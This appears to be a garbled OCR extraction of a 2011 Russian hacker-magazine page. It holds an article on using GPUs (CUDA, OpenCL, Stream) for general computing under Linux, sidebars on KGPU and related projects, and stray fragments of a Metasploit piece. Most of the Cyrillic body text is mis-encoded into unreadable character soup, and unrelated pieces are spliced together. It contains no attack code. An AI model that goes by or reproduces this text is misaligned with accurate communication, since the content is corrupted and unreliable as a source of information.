¦ÒÌÉ ÎÁ ÅÑÔÄÏÍ ËÏÎ×Æ ÐÑÏÃÏÅÁ ËÓÏ-ÓÏ ÃÏÈÝÍÆÓ ÓÑÔÂËÔ, WarVOX ÞÓÏ 
ÏÂÎÁÑÔÇÉÓ É ÎÁØÎÆÓ ÈÁÐÉÒÝ ÌßÂÏÄÏ ÓÉÐÁ ÁÔÅÉÏÒÉÄÎÁÌÁ. °ÑÏÄÁ, 
ÑÁÈÔÍÆÆÓÒà, ÐÑÆÅÎÁÈÎÁØÆÎÁ ÅÌà ÉÒÒÌÆÅÏÃÁÓÆÌÝÒËÉÖ ×ÆÌÆÊ, ÉÎÃÆÎ-
ÓÁÑÉÈÁ×ÉÉ É ÐÑÏÃÆÑËÉ ÂÆÈÏÐÁÒÎÏÒÓÉ ÓÆÌÆÕÏÎÎÜÖ ÌÉÎÉÊ, Á ÎÆ ÅÌà 
ÓÏÄÏ, Ï ØÆÍ ÓÜ ÒÆÊØÁÒ ÐÏÅÔÍÁÌ. z

Metasploit для профессионалов

СЦЕНА

«Metasploit Framework по-прежнему 
бесплатен, хотя и появилась платная 
версия Metasploit Express, лицензия на 
которую стоит $3000 в год»
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 ¦ÃÄÆÎÉÊ  ¨ÏÂÎÉÎ  (execbit .ru)

UNIXOID

ÑÓÏÅÐÊÎÌÏÜÞÒÅÐ 
ÈÇ ÂÈÄÅÎÊÀÐÒÛ

 Ñåãîäíÿ íîâîñòè îá èñïîëüçîâàíèè ãðàôè÷åñêèõ ïðîöåññîðîâ äëÿ 
îáùèõ âû÷èñëåíèé ìîæíî óñëûøàòü íà êàæäîì óãëó. Òàêèå ñëîâà, 
êàê CUDA, Stream è OpenCL, çà êàêèõ-òî äâà ãîäà ñòàëè ÷óòü ëè íå 
ñàìûìè öèòèðóåìûìè â àéòèøíîì èíòåðíåòå. Îäíàêî, ÷òî çíà÷àò 
ýòè ñëîâà, è ÷òî íåñóò ñòîÿùèå çà íèìè òåõíîëîãèè, èçâåñòíî äàëå-
êî íå êàæäîìó. À äëÿ ëèíóêñîèäîâ, ïðèâûêøèõ «áûòü â ïðîëåòå», 
òàê è âîîáùå âñå ýòî âèäèòñÿ òåìíûì ëåñîì.

Çàäåéñòâóåì âîçìîæíîñòè GPU äëÿ óñêîðåíèÿ ñîôòà

Предисловие
£ ÞÓÏÊ ÒÓÁÓÝÆ ÍÜ ÐÏÐÜÓÁÆÍÒà ÑÁÈÏÂÑÁÓÝÒà, ÈÁØÆÍ ÎÔÇÎÁ ÓÆÖÎÏÌÏÄÉà 
GPGPU (General-purpose graphics processing units, ¤ÑÁÕÉØÆÒËÉÊ ÐÑÏ-
×ÆÒÒÏÑ ÏÂÚÆÄÏ ÎÁÈÎÁØÆÎÉà) É ÃÒÆ ÒÃàÈÁÎÎÜÆ Ò ÎÆÊ ÑÆÁÌÉÈÁ×ÉÉ ÏÓ ËÏÎ-
ËÑÆÓÎÜÖ ÐÑÏÉÈÃÏÅÉÓÆÌÆÊ. ́ ÈÎÁÆÍ, ÐÏØÆÍÔ ÞÓÁ ÓÆÖÎÏÌÏÄÉà ÉÍÆÆÓ ÏØÆÎÝ 
ÔÈËÔß ÒÕÆÑÔ ÐÑÉÍÆÎÆÎÉà, Ã ËÏÓÏÑÔß ÐÏÅÁÃÌàßÚÆÆ ÂÏÌÝÙÉÎÒÓÃÏ ÒÏÕÓÁ 
ÎÆ ÐÏÐÁÅÁÆÓ Ã ÐÑÉÎ×ÉÐÆ, É ËÏÎÆØÎÏ ÇÆ, ÐÏÐÜÓÁÆÍÒà ÉÈÃÌÆØÝ ÉÈ ÃÒÆÄÏ 
ÞÓÏÄÏ ÃÜÄÏÅÔ Ã ÃÉÅÆ ÒÔÚÆÒÓÃÆÎÎÜÖ ÐÑÉÑÏÒÓÏÃ ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÉ Ã 
ÓÁËÉÖ ÈÁÅÁØÁÖ, ËÁË ÙÉÕÑÏÃÁÎÉÆ, ÐÏÅÂÏÑ ÐÁÑÏÌÆÊ, ÑÁÂÏÓÁ Ò ÍÔÌÝÓÉÍÆÅÉÁ 
É ÁÑÖÉÃÉÑÏÃÁÎÉÆ.

Рождение GPGPU
Ü ÃÒÆ ÐÑÉÃÜËÌÉ ÅÔÍÁÓÝ, ØÓÏ ÆÅÉÎÒÓÃÆÎÎÜÍ ËÏÍÐÏÎÆÎÓÏÍ ËÏÍÐÁ, 
ÒÐÏÒÏÂÎÜÍ ÃÜÐÏÌÎàÓÝ ÌßÂÏÊ ËÏÅ, ËÏÓÏÑÜÊ ÆÍÔ ÐÑÉËÁÇÔÓ, àÃÌàÆÓ-
Òà ×ÆÎÓÑÁÌÝÎÜÊ ÐÑÏ×ÆÒÒÏÑ. ¥ÏÌÄÏÆ ÃÑÆÍà ÐÏØÓÉ ÃÒÆ ÍÁÒÒÏÃÜÆ °« 
ÏÒÎÁÚÁÌÉÒÝ ÆÅÉÎÒÓÃÆÎÎÜÍ ÐÑÏ×ÆÒÒÏÑÏÍ, ËÏÓÏÑÜÊ ÈÁÎÉÍÁÌÒà ÃÒÆÍÉ 
ÍÜÒÌÉÍÜÍÉ ÑÁÒØÆÓÁÍÉ, ÃËÌßØÁà ËÏÅ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ, ÃÒÆÄÏ 
ÎÁÙÆÄÏ ÒÏÕÓÁ É ÃÉÑÔÒÏÃ.
°ÏÈÇÆ ÐÏàÃÉÌÉÒÝ ÍÎÏÄÏàÅÆÑÎÜÆ ÐÑÏ×ÆÒÒÏÑÜ É ÍÎÏÄÏÐÑÏ×ÆÒÒÏÑÎÜÆ 
ÒÉÒÓÆÍÜ, Ã ËÏÓÏÑÜÖ ÓÁËÉÖ ËÏÍÐÏÎÆÎÓÏÃ ÂÜÌÏ ÎÆÒËÏÌÝËÏ. ¾ÓÏ ÐÏÈÃÏÌÉÌÏ 
ÍÁÙÉÎÁÍ ÃÜÐÏÌÎàÓÝ ÎÆÒËÏÌÝËÏ ÈÁÅÁØ ÏÅÎÏÃÑÆÍÆÎÎÏ, Á ÏÂÚÁà (ÓÆÏÑÆ-
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ÓÉØÆÒËÁà) ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÝ ÒÉÒÓÆÍÜ ÐÏÅÎàÌÁÒÝ ÑÏÃÎÏ 
ÃÏ ÒÓÏÌÝËÏ ÑÁÈ, ÒËÏÌÝËÏ àÅÆÑ ÂÜÌÏ ÔÒÓÁÎÏÃÌÆÎÏ Ã ÍÁÙÉÎÆ. 
¯ÅÎÁËÏ ÏËÁÈÁÌÏÒÝ, ØÓÏ ÐÑÏÉÈÃÏÅÉÓÝ É ËÏÎÒÓÑÔÉÑÏÃÁÓÝ 
ÍÎÏÄÏàÅÆÑÎÜÆ ÐÑÏ×ÆÒÒÏÑÜ ÒÌÉÙËÏÍ ÒÌÏÇÎÏ É ÅÏÑÏÄÏ. £ 
ËÁÇÅÏÍ àÅÑÆ ÐÑÉÖÏÅÉÌÏÒÝ ÑÁÈÍÆÚÁÓÝ ÐÏÌÎÏ×ÆÎÎÜÊ ÐÑÏ-
×ÆÒÒÏÑ ÒÌÏÇÎÏÊ É ÈÁÐÔÓÁÎÎÏÊ x86-ÁÑÖÉÓÆËÓÔÑÜ, ÒÏ ÒÃÏÉÍ 
(ÅÏÃÏÌÝÎÏ ÏÂÛÆÍÎÜÍ) ËÞÙÆÍ, ËÏÎÃÆÊÆÑÏÍ ÉÎÒÓÑÔË×ÉÊ, ÂÌÏ-
ËÁÍÉ SSE, ÍÎÏÇÆÒÓÃÏÍ ÂÌÏËÏÃ, ÃÜÐÏÌÎàßÚÉÖ ÏÐÓÉÍÉÈÁ-
×ÉÉ É Ó.Å. É Ó.Ð. °ÏÞÓÏÍÔ ÐÑÏ×ÆÒÒ ÎÁÑÁÚÉÃÁÎÉà ËÏÌÉØÆÒÓÃÁ 
àÅÆÑ ÒÔÚÆÒÓÃÆÎÎÏ ÈÁÓÏÑÍÏÈÉÌÒà, É ÂÆÌÜÆ ÔÎÉÃÆÑÒÉÓÆÓÒËÉÆ 
ÖÁÌÁÓÜ, ËÏÓÏÑÜÍ ÅÃÁ ÉÌÉ ØÆÓÜÑÆ àÅÑÁ ÂÜÌÏ àÃÎÏ ÍÁÌÏ, 
ÎÁÙÌÉ ÒÐÏÒÏÂ ÈÁÅÆÊÒÓÃÏÃÁÓÝ ÅÌà ÒÃÏÉÖ ÎÁÔØÎÜÖ ÑÁÒØÆÓÏÃ 
ÅÑÔÄÉÆ ÃÜØÉÒÌÉÓÆÌÝÎÜÆ ÍÏÚÎÏÒÓÉ, ËÏÓÏÑÜÖ ÂÜÌÏ Ã ÅÏÒÓÁÓ-
ËÆ ÎÁ ÃÉÅÆÏËÁÑÓÆ (Ã ÑÆÈÔÌÝÓÁÓÆ ÅÁÇÆ ÐÏàÃÉÌÒà ÉÎÒÓÑÔÍÆÎÓ 
BrookGPU, ÞÍÔÌÉÑÔßÚÉÊ ÅÏÐÏÌÎÉÓÆÌÝÎÜÊ ÐÑÏ×ÆÒÒÏÑ Ò 
ÐÏÍÏÚÝß ÃÜÈÏÃÏÃ ÕÔÎË×ÉÊ DirectX É OpenGL).
¤ÑÁÕÉØÆÒËÉÆ ÐÑÏ×ÆÒÒÏÑÜ, ÌÉÙÆÎÎÜÆ ÍÎÏÄÉÖ ÎÆÅÏÒÓÁÓËÏÃ 
×ÆÎÓÑÁÌÝÎÏÄÏ ÐÑÏ×ÆÒÒÏÑÁ, ÏËÁÈÁÌÉÒÝ ÏÓÌÉØÎÏÊ É ÏØÆÎÝ 
ÂÜÒÓÑÏÊ ÒØÆÓÎÏÊ ÍÁÙÉÎËÏÊ, É ÒÏÃÒÆÍ ÒËÏÑÏ Ë ÎÁÑÁÂÏÓËÁÍ 
ÔØÆÎÜÖ ÔÍÏÃ ÎÁØÁÌÉ ÐÑÉÒÍÁÓÑÉÃÁÓÝÒà ÒÁÍÉ ÐÑÏÉÈÃÏÅÉÓÆÌÉ 
GPU (Á nVidia ÓÁË É ÃÏÏÂÚÆ ÎÁÎàÌÁ ÂÏÌÝÙÉÎÒÓÃÏ ÉÒÒÌÆ-
ÅÏÃÁÓÆÌÆÊ ÎÁ ÑÁÂÏÓÔ). £ ÑÆÈÔÌÝÓÁÓÆ ÐÏàÃÉÌÁÒÝ ÓÆÖÎÏÌÏÄÉà 
nVidia CUDA, ÏÐÑÆÅÆÌàßÚÁà ÉÎÓÆÑÕÆÊÒ, Ò ÐÏÍÏÚÝß ËÏÓÏ-
ÑÏÄÏ ÒÓÁÌÏ ÃÏÈÍÏÇÎÜÍ ÐÆÑÆÎÆÒÓÉ ÃÜØÉÒÌÆÎÉÆ ÒÌÏÇÎÜÖ 
ÁÌÄÏÑÉÓÍÏÃ ÎÁ ÐÌÆØÉ GPU ÂÆÈ ËÁËÉÖ-ÌÉÂÏ ËÏÒÓÜÌÆÊ. °ÏÈÇÆ 
ÈÁ ÎÆÊ ÐÏÒÌÆÅÏÃÁÌÁ ATi (AMD) Ò ÒÏÂÒÓÃÆÎÎÜÍ ÃÁÑÉÁÎÓÏÍ 
ÓÆÖÎÏÌÏÄÉÉ ÐÏÅ ÎÁÈÃÁÎÉÆÍ Close to Metal (ÎÜÎÆ Stream), 

Á ÒÏÃÒÆÍ ÒËÏÑÏ ÐÏàÃÉÌÁÒÝ ÒÓÁÃÙÁà ÒÓÁÎÅÁÑÓÏÍ ÃÆÑÒÉà ÏÓ 
Apple, ÐÏÌÔØÉÃÙÁà ÉÍà OpenCL.

GPU — наше все?
®ÆÒÍÏÓÑà ÎÁ ÃÒÆ ÐÑÆÉÍÔÚÆÒÓÃÁ, ÓÆÖÎÉËÁ GPGPU ÉÍÆÆÓ ÎÆ-
ÒËÏÌÝËÏ ÐÑÏÂÌÆÍ. °ÆÑÃÁà ÉÈ ÎÉÖ ÈÁËÌßØÁÆÓÒà Ã ÏØÆÎÝ ÔÈËÏÊ 
ÒÕÆÑÆ ÐÑÉÍÆÎÆÎÉà. GPU ÙÁÄÎÔÌÉ ÅÁÌÆËÏ ÃÐÆÑÆÅ ×ÆÎÓÑÁÌÝ-
ÎÏÄÏ ÐÑÏ×ÆÒÒÏÑÁ Ã ÐÌÁÎÆ ÎÁÑÁÚÉÃÁÎÉà ÃÜØÉÒÌÉÓÆÌÝÎÏÊ 
ÍÏÚÎÏÒÓÉ É ÏÂÚÆÄÏ ËÏÌÉØÆÒÓÃÁ àÅÆÑ (ÃÉÅÆÏËÁÑÓÜ ÎÆÒÔÓ ÎÁ 
ÒÆÂÆ ÃÜØÉÒÌÉÓÆÌÝÎÜÊ ÂÌÏË, ÒÏÒÓÏàÚÉÊ ÉÈ ÂÏÌÆÆ ØÆÍ ÒÏÓÎÉ 
àÅÆÑ), ÏÅÎÁËÏ ÓÁËÁà ÃÜÒÏËÁà ÐÌÏÓÎÏÒÓÝ ÅÏÒÓÉÄÁÆÓÒà ÈÁ ÒØÆÓ 
ÍÁËÒÉÍÁÌÝÎÏÄÏ ÔÐÑÏÚÆÎÉà ÅÉÈÁÊÎÁ ÒÁÍÏÄÏ ØÉÐÁ.
£ ÒÔÚÎÏÒÓÉ ÏÒÎÏÃÎÁà ÈÁÅÁØÁ GPU ÒÃÏÅÉÓÒà Ë ÍÁÓÆÍÁÓÉØÆ-
ÒËÉÍ ÑÁÒØÆÓÁÍ Ò ÐÏÍÏÚÝß ÐÑÏÒÓÜÖ ÁÌÄÏÑÉÓÍÏÃ, ÐÏÌÔØÁß-
ÚÉÖ ÎÁ ÃÖÏÅ ÎÆ ÏØÆÎÝ ÂÏÌÝÙÉÆ ÏÂÛÆÍÜ ÐÑÆÅÒËÁÈÔÆÍÜÖ 
ÅÁÎÎÜÖ. °Ï ÞÓÏÊ ÐÑÉØÉÎÆ àÅÑÁ GPU ÉÍÆßÓ ÏØÆÎÝ ÐÑÏÒÓÏÊ 
ÅÉÈÁÊÎ, ÍÉÈÆÑÎÜÆ ÏÂÛÆÍÜ ËÞÙÁ É ÒËÑÏÍÎÜÊ ÎÁÂÏÑ ÉÎ-
ÒÓÑÔË×ÉÊ, ØÓÏ Ã ËÏÎÆØÎÏÍ ÒØÆÓÆ É ÃÜÌÉÃÁÆÓÒà Ã ÅÆÙÆÃÉÈÎÔ 
ÉÖ ÐÑÏÉÈÃÏÅÒÓÃÁ É ÃÏÈÍÏÇÎÏÒÓÝ ÏØÆÎÝ ÐÌÏÓÎÏÄÏ ÑÁÈÍÆÚÆ-
ÎÉà ÎÁ ØÉÐÆ. GPU ÐÏÖÏÇÉ ÎÁ ËÉÓÁÊÒËÔß ÕÁÂÑÉËÔ Ò ÓÜÒàØÁÍÉ 
ÑÁÂÏØÉÖ. «ÁËÉÆ-ÓÏ ÐÑÏÒÓÜÆ ÃÆÚÉ ÏÎÉ ÅÆÌÁßÓ ÅÏÒÓÁÓÏØÎÏ 
ÖÏÑÏÙÏ (Á ÄÌÁÃÎÏÆ —  ÂÜÒÓÑÏ É ÅÆÙÆÃÏ), ÎÏ ÆÒÌÉ ÅÏÃÆÑÉÓÝ 
ÉÍ ÒÂÏÑËÔ ÒÁÍÏÌÆÓÁ, ÓÏ Ã ÑÆÈÔÌÝÓÁÓÆ ÐÏÌÔØÉÓÒà ÍÁËÒÉÍÔÍ 
ÅÆÌÝÓÁÐÌÁÎ. °ÏÞÓÏÍÔ ÐÆÑÃÏÆ ÏÄÑÁÎÉØÆÎÉÆ GPU — ÞÓÏ 
ÏÑÉÆÎÓÉÑÏÃÁÎÎÏÒÓÝ ÎÁ ÂÜÒÓÑÜÆ ÍÁÓÆÍÁÓÉØÆÒËÉÆ ÑÁÒØÆÓÜ, 
ØÓÏ ÏÄÑÁÎÉØÉÃÁÆÓ ÒÕÆÑÔ ÐÑÉÍÆÎÆÎÉà ÄÑÁÕÉØÆÒËÉÖ ÐÑÏ×ÆÒ-
ÒÏÑÏÃ ÐÏÍÏÚÝß Ã ÑÁÂÏÓÆ ÍÔÌÝÓÉÍÆÅÉÊÎÜÖ ÐÑÉÌÏÇÆÎÉÊ, Á 
ÓÁËÇÆ ÌßÂÜÖ ÐÑÏÄÑÁÍÍ, ÈÁÎÉÍÁßÚÉÖÒà ÒÌÏÇÎÏÊ ÏÂÑÁÂÏÓ-
ËÏÊ ÅÁÎÎÜÖ (ÎÁÐÑÉÍÆÑ, ÁÑÖÉÃÁÓÏÑÏÃ ÉÌÉ ÒÉÒÓÆÍ ÙÉÕÑÏ-
ÃÁÎÉà, Á ÓÁËÇÆ ÒÏÕÓÉÎ, ÈÁÎÉÍÁßÚÉÖÒà ÕÌÔÏÑÆÒ×ÆÎÓÎÏÊ 
ÍÉËÑÏÒËÏÐÉÆÊ, ÍÏÌÆËÔÌàÑÎÏÊ ÅÉÎÁÍÉËÏÊ, ÞÌÆËÓÑÏÒÓÁÓÉËÏÊ 
É ÅÑÔÄÉÍÉ, ÍÁÌÏÉÎÓÆÑÆÒÎÜÍÉ ÅÌà ÌÉÎÔËÒÏÉÅÏÃ ÃÆÚÁÍÉ).
£ÓÏÑÁà ÐÑÏÂÌÆÍÁ GPGPU Ã ÓÏÍ, ØÓÏ ÁÅÁÐÓÉÑÏÃÁÓÝ ÅÌà 
ÃÜÐÏÌÎÆÎÉà ÎÁ GPU ÍÏÇÎÏ ÅÁÌÆËÏ ÎÆ ËÁÇÅÜÊ ÁÌÄÏÑÉÓÍ. 
¯ÓÅÆÌÝÎÏ ÃÈàÓÜÆ àÅÑÁ ÄÑÁÕÉØÆÒËÏÄÏ ÐÑÏ×ÆÒÒÏÑÁ ÅÏÃÏÌÝÎÏ 
ÍÆÅÌÉÓÆÌÝÎÜ, É ÉÖ ÍÏÚÝ ÐÑÏàÃÌàÆÓÒà ÓÏÌÝËÏ ÐÑÉ ÑÁÂÏÓÆ 
ÒÏÏÂÚÁ. ¡ ÞÓÏ ÈÎÁØÉÓ, ØÓÏ ÁÌÄÏÑÉÓÍ ÂÔÅÆÓ ÎÁÒÓÏÌÝËÏ ÞÕÕÆË-
ÓÉÃÎÜÍ, ÎÁÒËÏÌÝËÏ ÞÕÕÆËÓÉÃÎÏ ÆÄÏ ÒÍÏÇÆÓ ÑÁÒÐÁÑÁÌÌÆ-
ÌÉÓÝ ÐÑÏÄÑÁÍÍÉÒÓ. £ ÂÏÌÝÙÉÎÒÓÃÆ ÒÌÔØÁÆÃ Ò ÓÁËÏÊ ÑÁÂÏÓÏÊ 
ÍÏÇÆÓ ÒÐÑÁÃÉÓÝÒà ÓÏÌÝËÏ ÖÏÑÏÙÉÊ ÍÁÓÆÍÁÓÉË, ËÏÓÏÑÜÖ 
ÒÑÆÅÉ ÑÁÈÑÁÂÏÓØÉËÏÃ ÒÏÕÓÁ ÒÏÃÒÆÍ ÎÆÍÎÏÄÏ.
© ÓÑÆÓÝÆ: ÄÑÁÕÉØÆÒËÉÆ ÐÑÏ×ÆÒÒÏÑÜ ÑÁÂÏÓÁßÓ Ò ÐÁÍàÓÝß, 
ÔÒÓÁÎÏÃÌÆÎÎÏÊ ÎÁ ÒÁÍÏÊ ÃÉÅÆÏËÁÑÓÆ, ÓÁË ØÓÏ ÐÑÉ ËÁÇÅÏÍ 
ÈÁÅÆÊÒÓÃÏÃÁÎÉÉ GPU ÂÔÅÆÓ ÐÑÏÉÒÖÏÅÉÓÝ ÅÃÆ ÅÏÐÏÌÎÉÓÆÌÝ-
ÎÜÖ ÏÐÆÑÁ×ÉÉ ËÏÐÉÑÏÃÁÎÉà: ÃÖÏÅÎÜÆ ÅÁÎÎÜÆ ÉÈ ÏÐÆÑÁ-
ÓÉÃÎÏÊ ÐÁÍàÓÉ ÒÁÍÏÄÏ ÐÑÉÌÏÇÆÎÉà É ÃÜÖÏÅÎÜÆ ÅÁÎÎÜÆ ÉÈ 
GRAM ÏÂÑÁÓÎÏ Ã ÐÁÍàÓÝ ÐÑÉÌÏÇÆÎÉà. ®ÆÓÑÔÅÎÏ ÅÏÄÁÅÁÓÝÒà, 
ØÓÏ ÞÓÏ ÍÏÇÆÓ ÒÃÆÒÓÉ ÎÁ ÎÆÓ ÃÆÒÝ ÃÜÉÄÑÜÙ ÃÏ ÃÑÆÍÆÎÉ 

• bzip2-cuda.github.
com — ÑÆÁÌÉÈÁ×Éà 
ÁÑÖÉÃÁÓÏÑÁ bzip2 
Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ 
CUDA.

• www.hoopoe-cloud.
com — ÏÂÌÁØÎÜÊ 
ÒÆÑÃÉÒ, ÐÏÈÃÏÌàßÚÉÊ 
ÈÁÄÑÔÇÁÓÝ É ÈÁÐÔÒËÁÓÝ 
ÒÏÕÓ Ò ÐÏÅÅÆÑÇËÏÊ 
CUDA É OpenCL.

links

HTTP://WWW

• ²ÔÓÝ ÓÆÖÎÏÌÏÄÉÉ 
GPGPU — ÐÑÏÉÈÃÏÌÝ-
ÎÜÆ ÃÜØÉÒÌÆÎÉà ÎÁ 
ÃÉÅÆÏËÁÑÓÁÖ.

• ²ÔÚÆÒÓÃÔÆÓ OpenCL 
SDK, ÑÁÈÑÁÂÁÓÜÃÁÆ-
ÍÜÊ ËÏÍÐÁÎÉÆÊ Intel, 
ÎÏ ÐÏËÁ Ò ÆÄÏ ÐÏÍÏ-
ÚÝß ÍÏÇÎÏ ÈÁÐÔÒËÁÓÝ 
ÐÑÉÌÏÇÆÎÉà ÓÏÌÝËÏ ÎÁ 
ËÌÁÒÒÉØÆÒËÏÍ CPU.

• FASTRA II — 
ÒÔÐÆÑËÏÍÐÝßÓÆÑ, 
ÐÏÒÓÑÏÆÎÎÜÊ Ò ÉÒ-
ÐÏÌÝÈÏÃÁÎÉÆÍ 13 ÃÉ-
ÅÆÏËÁÑÓ, ÍÏÚÎÏÒÓÝß 
12TFLOPS: fastra2.
ua.ac.be.

info

INFO

Тестируем алгоритм двоичного (бинарного) поиска

Так выглядит фрагмент реализации алгоритма 
AES на OpenCL

©ÒÒÌÆÅÏÃÁÓÆÌÉ ÉÈ ÔÎÉÃÆÑÒÉÓÆÓÁ ¿ÓÜ ÑÁÈÑÁÂÏÓÁÌÉ 
ÒÉÒÓÆÍÔ KGPU (code.google.com/p/kgpu/), ÐÏÈÃÏÌàßÚÔß 
ÃÜÐÏÌÎàÓÝ ÎÆËÏÓÏÑÜÆ ÕÔÎË×ÉÉ àÅÑÁ Linux ÎÁ 
ÄÑÁÕÉØÆÒËÏÍ ÐÑÏ×ÆÒÒÏÑÆ Ò ÐÏÍÏÚÝß ÕÑÆÊÍÃÏÑËÁ 
CUDA. ¥Ìà ÃÜÐÏÌÎÆÎÉà ÞÓÏÊ ÈÁÅÁØÉ ÉÒÐÏÌÝÈÔÆÓÒà 
ÍÏÅÉÕÉ×ÉÑÏÃÁÎÎÏÆ àÅÑÏ Linux É ÒÐÆ×ÉÁÌÝÎÜÊ ÅÆÍÏÎ, 
ËÏÓÏÑÜÊ ÑÁÂÏÓÁÆÓ Ã ÐÑÏÒÓÑÁÎÒÓÃÆ ÐÏÌÝÈÏÃÁÓÆÌà, ÒÌÔÙÁÆÓ 
ÈÁÐÑÏÒÜ àÅÑÁ É ÐÆÑÆÅÁÆÓ ÉÖ ÅÑÁÊÃÆÑÔ ÃÉÅÆÏËÁÑÓÜ Ò 
ÐÏÍÏÚÝß ÂÉÂÌÉÏÓÆËÉ CUDA. ©ÎÓÆÑÆÒÎÏ, ØÓÏ ÎÆÒÍÏÓÑà 
ÎÁ ÒÔÚÆÒÓÃÆÎÎÜÊ ÏÃÆÑÖÆÅ, ËÏÓÏÑÜÊ ÒÏÈÅÁÆÓ ÓÁËÁà 
ÁÑÖÉÓÆËÓÔÑÁ, ÁÃÓÏÑÁÍ KGPU ÔÅÁÌÏÒÝ ÒÏÈÅÁÓÝ ÑÆÁÌÉÈÁ×Éß 
ÁÌÄÏÑÉÓÍÁ AES, ËÏÓÏÑÜÊ ÐÏÅÎÉÍÁÆÓ ÒËÏÑÏÒÓÝ 
ÙÉÕÑÏÃÁÎÉà ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ eCryptfs Ã 6 ÑÁÈ.

KGPU или ядро Linux, уско-
ренное GPU

•



XÀÊÅÐ  08  /151/  2011 088

UNIXOID

ÑÁÂÏÓÜ ÐÑÉÌÏÇÆÎÉà (ËÁË É ÐÑÏÉÒÖÏÅÉÓ Ã ÒÌÔØÁÆ Ò ÉÎÒÓÑÔÍÆÎÓÏÍ FlacCL, 
ËÏÓÏÑÜÊ ÍÜ ÑÁÒÒÍÏÓÑÉÍ ÐÏÈÇÆ).
®Ï É ÞÓÏ ÆÚÆ ÎÆ ÃÒÆ. ®ÆÒÍÏÓÑà ÎÁ ÒÔÚÆÒÓÃÏÃÁÎÉÆ ÏÂÚÆÐÑÉÈÎÁÎÎÏÄÏ 
ÒÓÁÎÅÁÑÓÁ Ã ÌÉ×Æ OpenCL, ÍÎÏÄÉÆ ÐÑÏÄÑÁÍÍÉÒÓÜ ÅÏ ÒÉÖ ÐÏÑ ÐÑÆÅÐÏ-
ØÉÓÁßÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÑÉÃàÈÁÎÎÜÆ Ë ÐÑÏÉÈÃÏÅÉÓÆÌß ÑÆÁÌÉÈÁ×ÉÉ 
ÓÆÖÎÉËÉ GPGPU. ̄ ÒÏÂÆÎÎÏ ÐÏÐÔÌàÑÎÏÊ ÏËÁÈÁÌÁÒÝ CUDA, ËÏÓÏÑÁà ÖÏÓÝ 
É ÅÁÆÓ ÂÏÌÆÆ ÄÉÂËÉÊ ÉÎÓÆÑÕÆÊÒ ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉà (ËÒÓÁÓÉ, OpenCL Ã 
ÅÑÁÊÃÆÑÁÖ nVidia ÑÆÁÌÉÈÏÃÁÎ ÐÏÃÆÑÖ CUDA), ÎÏ ÎÁÍÆÑÓÃÏ ÐÑÉÃàÈÜÃÁÆÓ 
ÐÑÉÌÏÇÆÎÉÆ Ë ÃÉÅÆÏËÁÑÓÁÍ ÏÅÎÏÄÏ ÐÑÏÉÈÃÏÅÉÓÆÌà.

Что есть сейчас?
£ ÒÉÌÔ ÒÃÏÆÊ ÍÏÌÏÅÏÒÓÉ, Á ÓÁËÇÆ ÂÌÁÄÏÅÁÑà ÏÐÉÒÁÎÎÜÍ ÃÜÙÆ ÐÑÏ-
ÂÌÆÍÁÍ, GPGPU ÓÁË É ÎÆ ÒÓÁÌÁ ÐÏ-ÎÁÒÓÏàÚÆÍÔ ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÏÊ 
ÓÆÖÎÏÌÏÄÉÆÊ, ÏÅÎÁËÏ ÐÏÌÆÈÎÜÊ ÒÏÕÓ, ÉÒÐÏÌÝÈÔßÚÉÊ ÆÆ ÃÏÈÍÏÇÎÏÒÓÉ, 
ÒÔÚÆÒÓÃÔÆÓ (ÖÏÓÝ É Ã ÍÉÈÆÑÎÏÍ ËÏÌÉØÆÒÓÃÆ). ̄ ÅÎÉÍÉ ÉÈ ÐÆÑÃÜÖ ÐÏàÃÉ-
ÌÉÒÝ ËÑÞËÆÑÜ ÑÁÈÌÉØÎÜÖ ÖÞÙÆÊ, ÁÌÄÏÑÉÓÍÜ ÑÁÂÏÓÜ ËÏÓÏÑÜÖ ÏØÆÎÝ ÌÆÄËÏ 
ÑÁÒÐÁÑÁÌÌÆÌÉÓÝ. ³ÁËÇÆ ÑÏÅÉÌÉÒÝ ÍÔÌÝÓÉÍÆÅÉÊÎÜÆ ÐÑÉÌÏÇÆÎÉà, ÎÁ-
ÐÑÉÍÆÑ, ËÏÅÉÑÏÃÚÉË FlacCL, ÐÏÈÃÏÌàßÚÉÊ ÐÆÑÆËÏÅÉÑÏÃÁÓÝ ÈÃÔËÏÃÔß 
ÅÏÑÏÇËÔ Ã ÕÏÑÍÁÓ FLAC. °ÏÅÅÆÑÇËÏÊ GPGPU ÏÂÈÁÃÆÌÉÒÝ É ÎÆËÏÓÏÑÜÆ 
ÔÇÆ ÒÔÚÆÒÓÃÏÃÁÃÙÉÆ ÑÁÎÆÆ ÐÑÉÌÏÇÆÎÉà, ÒÁÍÜÍ ÈÁÍÆÓÎÜÍ ÉÈ ËÏÓÏÑÜÖ 
ÒÓÁÌ ImageMagick, ËÏÓÏÑÜÊ ÓÆÐÆÑÝ ÔÍÆÆÓ ÐÆÑÆËÌÁÅÜÃÁÓÝ ØÁÒÓÝ ÒÃÏÆÊ 
ÑÁÂÏÓÜ ÎÁ ÄÑÁÕÉØÆÒËÉÊ ÐÑÏ×ÆÒÒÏÑ Ò ÐÏÍÏÚÝß OpenCL. ³ÁËÇÆ ÆÒÓÝ ÐÑÏ-
ÆËÓÜ ÐÏ ÐÆÑÆÃÏÅÔ ÎÁ CUDA/OpenCL (ÎÆ ÌßÂàÓ ßÎÉËÒÏÉÅÜ ATi) ÁÑÖÉÃÁÓÏ-
ÑÏÃ ÅÁÎÎÜÖ É ÅÑÔÄÉÖ ÒÉÒÓÆÍ ÒÇÁÓÉà ÉÎÕÏÑÍÁ×ÉÉ. ®ÁÉÂÏÌÆÆ ÉÎÓÆÑÆÒÎÜÆ 
ÉÈ ÞÓÉÖ ÐÑÏÆËÓÏÃ ÍÜ ÑÁÒÒÍÏÓÑÉÍ Ã ÒÌÆÅÔßÚÉÖ ÑÁÈÅÆÌÁÖ ÒÓÁÓÝÉ, Á ÐÏËÁ 
